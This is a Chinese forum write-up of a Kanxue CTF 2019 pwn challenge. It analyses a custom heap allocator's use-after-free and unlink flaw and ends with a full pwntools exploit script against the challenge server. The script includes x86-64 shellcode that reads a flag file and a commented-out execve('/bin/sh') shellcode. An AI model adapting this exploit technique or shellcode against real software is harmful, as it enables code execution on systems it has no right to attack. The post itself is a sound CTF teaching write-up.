首页
论坛
专栏
课程

[原创]看雪CTF 2019Q3 第六题 神秘刺客

2019-9-21 19:02 469

[原创]看雪CTF 2019Q3 第六题 神秘刺客

2019-9-21 19:02
469

题目分析

  1. 保护情况
    图片描述

  2. 作者自己实现了堆分配函数malloc() free()

  3. 分配出的内存具有可执行属性,因此虽然开了NX数据执行保护,但是堆上面的数据属性是可执行的
    图片描述

  4. 具有分配、释放、写以及打印一个栈地址的操作,而写的时候又输出了堆地址,泄露了栈地址和堆地址可以认为作者在暗示这是一个修改返回地址到堆上的操作,后面围绕着这个目标进行
    图片描述

  5. 释放后没有将指针置零,属于UAF漏洞
    图片描述

堆结构

分析堆结构需要结合分配与释放函数来分析

分配

_QWORD *__fastcall f_malloc_400CF7(unsigned int a1)
{
  unsigned int size; // [rsp+Ch] [rbp-54h]
  unsigned int idle_mem_size; // [rsp+3Ch] [rbp-24h]
  _QWORD *p_idle_mem; // [rsp+40h] [rbp-20h]
  signed __int64 data_addr; // [rsp+48h] [rbp-18h]
  unsigned __int64 bk; // [rsp+50h] [rbp-10h]
  _QWORD *addr; // [rsp+58h] [rbp-8h]
//
  size = a1;
  if ( a1 <= 15 )
    size = 16;                                  // 最低分配16字节
  if ( size & 7 )
    size = 8 * ((size >> 3) + 1);               // 8字节对齐
  for ( addr = (_QWORD *)g_first_idle_heap_602558; ; addr = *(_QWORD **)bk )
  {
    if ( !addr )
      addr = f_init_mmap_400C2D(size);
    bk = (unsigned __int64)addr + (*addr & 0xFFFFFFFFFFFFFFFCLL) - 8;
    if ( (*addr & 0xFFFFFFFFFFFFFFFCLL) >= size )// 如果堆大小大于等于 size 符合条件
      break;
  }
  data_addr = (signed __int64)(addr + 1);
  idle_mem_size = (*addr & 0xFFFFFFFC) - size;  // 分配给用户后的剩余空间
  *addr |= 1uLL;                                // 标记当前堆是使用状态
  if ( idle_mem_size <= 0x18 )                  // 闲置空间太小
  {
    if ( (_QWORD *)g_first_idle_heap_602558 == addr )
    {
      g_first_idle_heap_602558 = *(_QWORD *)bk;
      if ( g_first_idle_heap_602558 )
        *(_QWORD *)(g_first_idle_heap_602558 + (*(_QWORD *)g_first_idle_heap_602558 & 0xFFFFFFFFFFFFFFFCLL)) = 0LL;// fd = 0
    }
    else
    {
      if ( *(_QWORD *)(bk + 8) )                // fd
        *(_QWORD *)((**(_QWORD **)(bk + 8) & 0xFFFFFFFFFFFFFFFCLL) - 8 + *(_QWORD *)(bk + 8)) = *(_QWORD *)bk;// fd->bk = bk
      if ( *(_QWORD *)bk )
        *(_QWORD *)((**(_QWORD **)bk & 0xFFFFFFFFFFFFFFFCLL) + *(_QWORD *)bk) = *(_QWORD *)(bk + 8);// bk->fd = fd
    }
  }
  else                                          // 闲置空间至少还能再分配一次内存,分割出用户内存,与闲置内存
  {
    *addr = size;
    *addr |= 1uLL;                              // 标记当前堆是使用状态
    *addr |= 2uLL;                              // 标记相邻的下一个堆是未使用状态 True 代表未使用
    p_idle_mem = (_QWORD *)(size + data_addr);
    *p_idle_mem = idle_mem_size - 8LL;          // 设置闲置内存大小
    if ( (_QWORD *)g_first_idle_heap_602558 == addr )
    {
      g_first_idle_heap_602558 = size + data_addr;// 将全局变量保存的堆地址指向闲置内存地址
      if ( *(_QWORD *)bk )
        *(_QWORD *)(*(_QWORD *)bk + (**(_QWORD **)bk & 0xFFFFFFFFFFFFFFFCLL)) = p_idle_mem;// bk->fd = p_idle_mem
    }
    else
    {
      if ( *(_QWORD *)(bk + 8) )
        *(_QWORD *)((**(_QWORD **)(bk + 8) & 0xFFFFFFFFFFFFFFFCLL) - 8 + *(_QWORD *)(bk + 8)) = p_idle_mem;// fd->bk = p_idle_mem
      if ( *(_QWORD *)bk )
        *(_QWORD *)((**(_QWORD **)bk & 0xFFFFFFFFFFFFFFFCLL) + *(_QWORD *)bk) = p_idle_mem;// bk->fd = p_idle_mem
    }
  }
  return addr + 1;
}

释放

__int64 *__fastcall f_free_40101A(__int64 *addr)
{
  __int64 *flag; // rax
  _OWORD *bk; // ST18_8
  _QWORD *next_bk; // [rsp+18h] [rbp-20h]
  __int64 *next_heap; // [rsp+20h] [rbp-18h]
  __int64 *heap_addr; // [rsp+28h] [rbp-10h]

  if ( addr )
  {
    heap_addr = addr - 1;
    flag = (__int64 *)(*(addr - 1) & 1);
    if ( flag )
    {
      if ( !(*heap_addr & 2) || (next_heap = &addr[(unsigned __int64)*heap_addr >> 3], *next_heap & 1) )// 相邻的下一个堆是使用状态
      {
        bk = (_OWORD *)((char *)heap_addr + (*heap_addr & 0xFFFFFFFFFFFFFFFCLL) - 8);// BK
        *heap_addr ^= 1uLL;                     // 使用标志清零
        *bk = (unsigned __int64)g_first_idle_heap_602558;
        if ( g_first_idle_heap_602558 )
          *(_QWORD *)(g_first_idle_heap_602558 + (*(_QWORD *)g_first_idle_heap_602558 & 0xFFFFFFFFFFFFFFFCLL)) = heap_addr;// bk->fd = heap_addr
        flag = addr - 1;
        g_first_idle_heap_602558 = (__int64)(addr - 1);
      }
      else                                      // 相邻的下一个堆未使用,合并
      {
        *heap_addr += (*next_heap & 0xFFFFFFFFFFFFFFFCLL) + 8;// 合并大小
        if ( !(*next_heap & 2) )
          *heap_addr ^= 2uLL;                   // 继承相邻的下个堆的使用状态
        if ( (__int64 *)g_first_idle_heap_602558 == next_heap )
          g_first_idle_heap_602558 = (__int64)(addr - 1);
        next_bk = (__int64 *)((char *)heap_addr + (*heap_addr & 0xFFFFFFFFFFFFFFFCLL) - 8);
        if ( *next_bk )
          *(_QWORD *)(*next_bk + (*(_QWORD *)*next_bk & 0xFFFFFFFFFFFFFFFCLL)) = heap_addr;// next_bk->fd = heap_addr
        flag = (__int64 *)next_bk[1];           // flag = next_fd
        if ( flag )
        {
          flag = (__int64 *)(next_bk[1] + (*(_QWORD *)next_bk[1] & 0xFFFFFFFFFFFFFFFCLL) - 8);// next_fd->bk = heap_addr
          *flag = (__int64)heap_addr;
        }
      }
    }
  }
  return flag;
}

结构示意图

图片描述
根据上图结合代码可发现,作者实现的堆是通过当前堆大小来定位相邻的下一个堆的,空闲堆的尾部保存了BKFD指针

利用方法

堆利用

通常利用堆实现任意地址写,都是通过控制堆的BKFK指针,利用堆块在从链表中卸下时的Unlink操作来实现的,也就是BK->FD = FD; FD->BK = BK

 

作者实现的这个堆也有Unlink操作,在malloc分配内存时
图片描述

 

根据上面的代码可以看出,想要进行Unlink操作,需要满足以下几个条件:

  1. 分配给用户后剩余的空间小于0x18
  2. 当前堆块不能在空闲堆链表第一个

要满足以上需要这样操作,申请4个堆(1-4号大小分别为:32 32 24 xx),依次释放1号和3号堆,此时3号堆在链表头,再次申请32字节大小的堆时就只能找到链表中被释放的1号堆,然后从链表卸下,就触发了Unlink操作

 

而因为释放后没有将保存堆地址的指针清零,所以就可以修改已释放的3号堆的BKFD,使其在重新分配时可以被我们控制来做任意地址写的操作

修改返回地址

控制了BKFD,需要将其指向一个符合堆结构的内存,即该内存前8字节为大小,加上大小到达FDBK指定的位置,再修改

 

这就意味着必须要再栈中构造一个假的堆才能达到改写返回地址的作用

 

此时来看分配前的操作
图片描述

 

用了一个足够大的buf来接收用户输入,用完后也没有清空,而atoi()函数只解析字符串前面可识别的数字部分,也不对对后面非数字字符的数据产生影响或修改

 

所以现在可被控制的栈空间也有了,剩下的就是计算地址,构造假对进行修改了,详见exp,需要注意的时第四个堆的大小(哈哈,调一下就知道他是什么作用了)

exp

作者的环境屏蔽了system('/bin/sh'),所以就直接找来读文件的ShellCode了

#coding=utf-8
from pwn import *
#
# context.log_level = 'debug'
# p = process('./0xbird1')
p = remote('154.8.174.214', 10000)
#
# execve("/bin/sh") # x86-64
# shellcode = "\x48\x31\xf6\x56\x48\xbf"
# shellcode += "\x2f\x62\x69\x6e\x2f"
# shellcode += "\x2f\x73\x68\x57\x54"
# shellcode += "\x5f\xb0\x3b\x99\x0f\x05"
#
# read file ./flag.txt
shellcode =  "\xeb\x2f\x5f\x6a\x02\x58\x48\x31\xf6\x0f\x05\x66\x81\xec\xef\x0f\x48\x8d\x34\x24\x48\x97\x48\x31\xd2\x66\xba\xef\x0f\x48\x31\xc0\x0f\x05\x6a\x01\x5f\x48\x92\x6a\x01\x58\x0f\x05\x6a\x3c\x58\x0f\x05\xe8\xcc\xff\xff\xff\x2e\x2f\x66\x6c\x61\x67\x2e\x74\x78\x74\x00";
#
heap_addr = []
#
def alloc(size):
    p.sendline('A')
    p.recvuntil("Size: ")
    p.sendline(str(size))
    p.recvuntil("2019KCTF| ")
#
def free(id):
    p.sendline('F')
    p.recvuntil("Index: ")
    p.sendline(str(id))
    p.recvuntil("2019KCTF| ")
#    
def edit(id, data, count):
    p.sendline('W')
    for i in range(1, count+1):
        p.recvuntil(") 0x")
        heap_addr.append(int(p.recvuntil(" "), 16)) 
    p.recvuntil("Write addr: ")
    p.sendline(str(id))
    p.recvuntil("Write value: ")
    p.send(data)
    p.recvuntil("2019KCTF| ")
#  
def leak():
    p.sendline('N')
    p.recvuntil("Here you go: 0x")
    return int(p.recvuntil("\n"), 16) + 0x14
#
stack = leak() + 8
print('Get Stack addr: %x' % stack)
#
alloc(32)
alloc(32)
alloc(24)
alloc(1768) # 0x06E8 jmp $+8
edit(4, shellcode, 4)
#
print('Heap Addr:')
print(heap_addr)
#
free(1)
free(3)
#
heap01 = 'A'*16 + p64(stack) + p64(heap_addr[3]-8)
# bk = 栈上的假堆, fd = 第4个堆,这个堆里面保存了 shellcode
# 在 alloc 时,bk->fd = shellcode_addr => stack->main_ret = shellcode_addr
edit(1, heap01, 3)
print('Heap Addr:')
print(heap_addr)
#
raw_input("Pause~\n")
#
# 发送大小时,在栈上面布局一个假堆,大小 0x120,fd = main_ret
size_data = '32.' + 'A'*5 + p64(0x120)
p.sendline('A')
p.recvuntil("Size: ")
p.sendline(size_data)
p.recvuntil("2019KCTF| ")
#
# 跳到 shellcode
p.sendline('E')
#
# p.interactive()
p.close()


[公告]安全测试和项目外包请将项目需求发到看雪企服平台:https://qifu.kanxue.com

最后于 2019-9-21 19:38 被KevinsBobo编辑 ,原因:
上传的附件:
最新回复 (0)
游客
登录 | 注册 方可回帖
返回